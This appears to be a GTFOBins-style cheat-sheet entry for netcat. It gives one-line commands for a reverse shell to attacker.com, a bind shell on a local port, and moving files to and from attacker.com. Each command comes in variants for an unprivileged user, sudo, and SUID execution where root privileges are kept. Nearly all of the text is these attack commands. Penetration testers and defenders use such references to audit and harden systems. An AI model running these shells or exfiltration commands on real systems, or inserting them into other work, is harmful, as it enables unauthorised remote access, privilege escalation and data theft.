This executable can send back a reverse system shell to a listening attacker.
This function can be performed by any unprivileged user.
nc -e /bin/sh attacker.com 12345
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
nc -e /bin/sh attacker.com 12345
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
nc -e /bin/sh attacker.com 12345
This executable can bind a system shell to a local port waiting for an attacker to connect.
This function can be performed by any unprivileged user.
nc -l -p 12345 -e /bin/sh
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
nc -l -p 12345 -e /bin/sh
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
nc -l -p 12345 -e /bin/sh
This executable can upload local data.
This function can be performed by any unprivileged user.
nc -l -p 12345 </path/to/input-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
nc -l -p 12345 </path/to/input-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
nc -l -p 12345 </path/to/input-file
This function can be performed by any unprivileged user.
nc attacker.com 12345 </path/to/input-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
nc attacker.com 12345 </path/to/input-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
nc attacker.com 12345 </path/to/input-file
This executable can download remote data.
This function can be performed by any unprivileged user.
nc -l -p 12345 >/path/to/output-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
nc -l -p 12345 >/path/to/output-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
nc -l -p 12345 >/path/to/output-file
This function can be performed by any unprivileged user.
nc attacker.com 12345 >/path/to/output-file
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
nc attacker.com 12345 >/path/to/output-file
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
nc attacker.com 12345 >/path/to/output-file